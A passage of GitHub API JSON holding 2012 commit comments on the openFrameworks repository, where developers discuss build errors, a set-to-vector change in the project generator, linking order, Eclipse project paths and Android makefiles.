((baseProject*)this)->baseProject::addons.std::vector<_Tp, _Alloc>::end [with _Tp = ofAddon, _Alloc = std::allocator, std::vector<_Tp, _Alloc>::iterator = __gnu_cxx::__normal_iterator >, typename std::_Vector_base<_Tp, _Alloc>::_Tp_alloc_type::pointer = ofAddon*]()’\tbaseProject.cpp\t/projectGenerator/src/projects\tline 97\tC/C++ Problem`\n\nnot sure if something's wrong with my setup at this machine - I'm still investigating."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1197069","html_url":"https://github.com/openframeworks/openFrameworks/commit/967997d28b877a4bcc2c8e4972f10b9b9d179562#commitcomment-1197069","id":1197069,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":78,"line":86,"path":"apps/devApps/projectGenerator/src/projects/baseProject.cpp","commit_id":"967997d28b877a4bcc2c8e4972f10b9b9d179562","created_at":"2012-04-11T11:27:12Z","updated_at":"2012-04-11T11:27:12Z","body":"that was a set before, i guess someone changed it to a vector which will probably break all the addons logic in linux since it was using the set to avoid duplicateds"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1197109","html_url":"https://github.com/openframeworks/openFrameworks/commit/967997d28b877a4bcc2c8e4972f10b9b9d179562#commitcomment-1197109","id":1197109,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":78,"line":86,"path":"apps/devApps/projectGenerator/src/projects/baseProject.cpp","commit_id":"967997d28b877a4bcc2c8e4972f10b9b9d179562","created_at":"2012-04-11T11:40:17Z","updated_at":"2012-04-11T11:40:17Z","body":"yes, it was done in 085089b3fe7fb9b8652162. @gameoverhack, could you shed some light why you changed `set addons` into a vector?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1200078","html_url":"https://github.com/openframeworks/openFrameworks/commit/c5d72b53cfdb19befc5d791aeee3e91c15f1239d#commitcomment-1200078","id":1200078,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"c5d72b53cfdb19befc5d791aeee3e91c15f1239d","created_at":"2012-04-12T00:11:11Z","updated_at":"2012-04-12T00:11:11Z","body":"note this order change: \r\n\r\nlibopencv_calib3d231.a\t\r\nlibopencv_features2d231.a\r\n\r\nthere were linking orders with the older order. \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1214956","html_url":"https://github.com/openframeworks/openFrameworks/commit/ae666c3a442a3a73057edc93467f673ba8dab6c1#commitcomment-1214956","id":1214956,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"ae666c3a442a3a73057edc93467f673ba8dab6c1","created_at":"2012-04-16T12:15:37Z","updated_at":"2012-04-16T12:15:37Z","body":"cool -- fyi, I think this is specifically about intel graphics cards more then CB (I have this issue on macbook air osx as well as windows). "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1219571","html_url":"https://github.com/openframeworks/openFrameworks/commit/967997d28b877a4bcc2c8e4972f10b9b9d179562#commitcomment-1219571","id":1219571,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":78,"line":86,"path":"apps/devApps/projectGenerator/src/projects/baseProject.cpp","commit_id":"967997d28b877a4bcc2c8e4972f10b9b9d179562","created_at":"2012-04-17T07:15:09Z","updated_at":"2012-04-17T07:15:09Z","body":"btw, could set/vector mixup also be the reason behind #1135? And how do we best fix this? Currently, PG doesn't even compile for me."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1230344","html_url":"https://github.com/openframeworks/openFrameworks/commit/967997d28b877a4bcc2c8e4972f10b9b9d179562#commitcomment-1230344","id":1230344,"user":{"login":"gameoverhack","id":331599,"avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"397ac2141aace0681a354185e7efb0f1","url":"https://api.github.com/users/gameoverhack","html_url":"https://github.com/gameoverhack","followers_url":"https://api.github.com/users/gameoverhack/followers","following_url":"https://api.github.com/users/gameoverhack/following{/other_user}","gists_url":"https://api.github.com/users/gameoverhack/gists{/gist_id}","starred_url":"https://api.github.com/users/gameoverhack/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gameoverhack/subscriptions","organizations_url":"https://api.github.com/users/gameoverhack/orgs","repos_url":"https://api.github.com/users/gameoverhack/repos","events_url":"https://api.github.com/users/gameoverhack/events{/privacy}","received_events_url":"https://api.github.com/users/gameoverhack/received_events","type":"User"},"position":78,"line":86,"path":"apps/devApps/projectGenerator/src/projects/baseProject.cpp","commit_id":"967997d28b877a4bcc2c8e4972f10b9b9d179562","created_at":"2012-04-19T07:40:43Z","updated_at":"2012-04-19T07:40:43Z","body":"I think this should be fixed by this https://github.com/openframeworks/openFrameworks/issues/1184#issuecomment-5216458"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1239876","html_url":"https://github.com/openframeworks/openFrameworks/commit/73e9705e0b505b2e150c8d110aec181093ee1f0f#commitcomment-1239876","id":1239876,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"73e9705e0b505b2e150c8d110aec181093ee1f0f","created_at":"2012-04-21T23:12:36Z","updated_at":"2012-04-21T23:12:36Z","body":"mmh, there's no include directory anymore, probably you have it because of some ignore rule but it's not on the repo. can i revert the commit?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1239935","html_url":"https://github.com/openframeworks/openFrameworks/commit/73e9705e0b505b2e150c8d110aec181093ee1f0f#commitcomment-1239935","id":1239935,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"73e9705e0b505b2e150c8d110aec181093ee1f0f","created_at":"2012-04-22T00:25:20Z","updated_at":"2012-04-22T00:25:20Z","body":"oh damn - yeah please do. \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1239940","html_url":"https://github.com/openframeworks/openFrameworks/commit/73e9705e0b505b2e150c8d110aec181093ee1f0f#commitcomment-1239940","id":1239940,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"73e9705e0b505b2e150c8d110aec181093ee1f0f","created_at":"2012-04-22T00:31:55Z","updated_at":"2012-04-22T00:31:55Z","body":"done :)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1240967","html_url":"https://github.com/openframeworks/openFrameworks/commit/021b51b4a394f745adfc119e7f0b66073046550c#commitcomment-1240967","id":1240967,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":17,"line":85,"path":"libs/openFrameworks/.project","commit_id":"021b51b4a394f745adfc119e7f0b66073046550c","created_at":"2012-04-22T16:54:47Z","updated_at":"2012-04-22T16:54:47Z","body":"user-specific path in here - is that right?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1240997","html_url":"https://github.com/openframeworks/openFrameworks/commit/021b51b4a394f745adfc119e7f0b66073046550c#commitcomment-1240997","id":1240997,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":17,"line":85,"path":"libs/openFrameworks/.project","commit_id":"021b51b4a394f745adfc119e7f0b66073046550c","created_at":"2012-04-22T17:14:27Z","updated_at":"2012-04-22T17:14:27Z","body":"not very much :) but it shouldn't hurt, eclipse will just ignore it. it's just a linked folder to the project files so i can edit the makefiles from eclipse, for most people is not necesary and it's very useful for me. will change it if i find a way of using relative paths or variables but eclipse is pretty bad at that"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1241059","html_url":"https://github.com/openframeworks/openFrameworks/commit/021b51b4a394f745adfc119e7f0b66073046550c#commitcomment-1241059","id":1241059,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":17,"line":85,"path":"libs/openFrameworks/.project","commit_id":"021b51b4a394f745adfc119e7f0b66073046550c","created_at":"2012-04-22T17:57:03Z","updated_at":"2012-04-22T17:57:03Z","body":"i see :-)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1241136","html_url":"https://github.com/openframeworks/openFrameworks/commit/34877438b4d3bd13073ad3007a71c2af7070541f#commitcomment-1241136","id":1241136,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"34877438b4d3bd13073ad3007a71c2af7070541f","created_at":"2012-04-22T18:57:20Z","updated_at":"2012-04-22T18:57:38Z","body":"@arturoc: hm, I can't find an Int64 type in the OSC specification, how did this come about?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1241170","html_url":"https://github.com/openframeworks/openFrameworks/commit/0d85b22003e96111a0bdd5e53a901b018174b231#commitcomment-1241170","id":1241170,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"0d85b22003e96111a0bdd5e53a901b018174b231","created_at":"2012-04-22T19:20:17Z","updated_at":"2012-04-22T19:20:17Z","body":"@arturoc: Why did you update the config.make and Makefile only for the EmptyExample and not the others? Also, shouldn't those both be generated by the PG, and not even be in the example folder/repo? I'm asking to understand this better, cause I have to adapt the gitignore structure to this."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1241182","html_url":"https://github.com/openframeworks/openFrameworks/commit/021b51b4a394f745adfc119e7f0b66073046550c#commitcomment-1241182","id":1241182,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":5,"line":28,"path":"libs/openFrameworks/.project","commit_id":"021b51b4a394f745adfc119e7f0b66073046550c","created_at":"2012-04-22T19:29:48Z","updated_at":"2012-04-22T19:29:48Z","body":"@arturoc: ah nice, I noticed this recently. is the correct handling of this on 32bit systems managed in the Makefile?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1251213","html_url":"https://github.com/openframeworks/openFrameworks/commit/0d85b22003e96111a0bdd5e53a901b018174b231#commitcomment-1251213","id":1251213,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"0d85b22003e96111a0bdd5e53a901b018174b231","created_at":"2012-04-24T17:10:22Z","updated_at":"2012-04-24T17:10:22Z","body":"this is not ready yet, i'm still working on android, i fixed emptyExample but everything else is still not updated to ndk r7\r\n\r\nthe PG doesn't work for android yet, apart from the makefiles there's lots of other project files that i need to put in a template, so i think by now i'll leave it like it is and just update all the examples manually"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1251324","html_url":"https://github.com/openframeworks/openFrameworks/commit/0d85b22003e96111a0bdd5e53a901b018174b231#commitcomment-1251324","id":1251324,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"0d85b22003e96111a0bdd5e53a901b018174b231","created_at":"2012-04-24T17:37:43Z","updated_at":"2012-04-24T17:37:51Z","body":"OK, then I'll leave the config.make and Makefile in the android examples in for now, and we can adapt the gitignore rules later when this is finished, right?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1251367","html_url":"https://github.com/openframeworks/openFrameworks/commit/c0fb5ffc958e1be1bfdfc775c753c1d3cd8f9200#commitcomment-1251367","id":1251367,"user":{"login":"shotgunninja","id":1672033,"avatar_url":"https://secure.gravatar.com/avatar/af5f0b031000821a8c179733db0a2f9e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"af5f0b031000821a8c179733db0a2f9e","url":"https://api.github.com/users/shotgunninja","html_url":"https://github.com/shotgunninja","followers_url":"https://api.github.com/users/shotgunninja/followers","following_url":"https://api.github.com/users/shotgunninja/following{/other_user}","gists_url":"https://api.github.com/users/shotgunninja/gists{/gist_id}","starred_url":"https://api.github.com/users/shotgunninja/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shotgunninja/subscriptions","organizations_url":"https://api.github.com/users/shotgunninja/orgs","repos_url":"https://api.github.com/users/shotgunninja/repos","events_url":"https://api.github.com/users/shotgunninja/events{/privacy}","received_events_url":"https://api.github.com/users/shotgunninja/received_events","type":"User"},"position":686,"line":626,"path":"addons/ofxXmlSettings/src/ofxXmlSettings.cpp","commit_id":"c0fb5ffc958e1be1bfdfc775c753c1d3cd8f9200","created_at":"2012-04-24T17:52:21Z","updated_at":"2012-04-24T17:52:21Z","body":"I was in high school when I wrote this function... wow."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1283131","html_url":"https://github.com/openframeworks/openFrameworks/commit/740c6822395f8bdfa86edf8a42e659e0f33604d3#commitcomment-1283131","id":1283131,"user":{"login":"nardove","id":277690,"avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","url":"https://api.github.com/users/nardove","html_url":"https://github.com/nardove","followers_url":"https://api.github.com/users/nardove/followers","following_url":"https://api.github.com/users/nardove/following{/other_user}","gists_url":"https://api.github.com/users/nardove/gists{/gist_id}","starred_url":"https://api.github.com/users/nardove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nardove/subscriptions","organizations_url":"https://api.github.com/users/nardove/orgs","repos_url":"https://api.github.com/users/nardove/repos","events_url":"https://api.github.com/users/nardove/events{/privacy}","received_events_url":"https://api.github.com/users/nardove/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"740c6822395f8bdfa86edf8a42e659e0f33604d3","created_at":"2012-05-02T15:43:18Z","updated_at":"2012-05-02T15:43:18Z","body":"Another interesting update to this method in the same threat http://forum.openframeworks.cc/index.php/topic,6092.15.html"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1289220","html_url":"https://github.com/openframeworks/openFrameworks/commit/fcdb399dd681ebd3d702143da27eb2dd6e72132b#commitcomment-1289220","id":1289220,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":27,"line":33,"path":"scripts/dev/create_package.sh","commit_id":"fcdb399dd681ebd3d702143da27eb2dd6e72132b","created_at":"2012-05-03T19:27:19Z","updated_at":"2012-05-03T19:27:19Z","body":"those changes can't be right..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1346329","html_url":"https://github.com/openframeworks/openFrameworks/commit/1d9edca442a3ca4778ede911d59fa78158c105da#commitcomment-1346329","id":1346329,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1d9edca442a3ca4778ede911d59fa78158c105da","created_at":"2012-05-18T03:39:52Z","updated_at":"2012-05-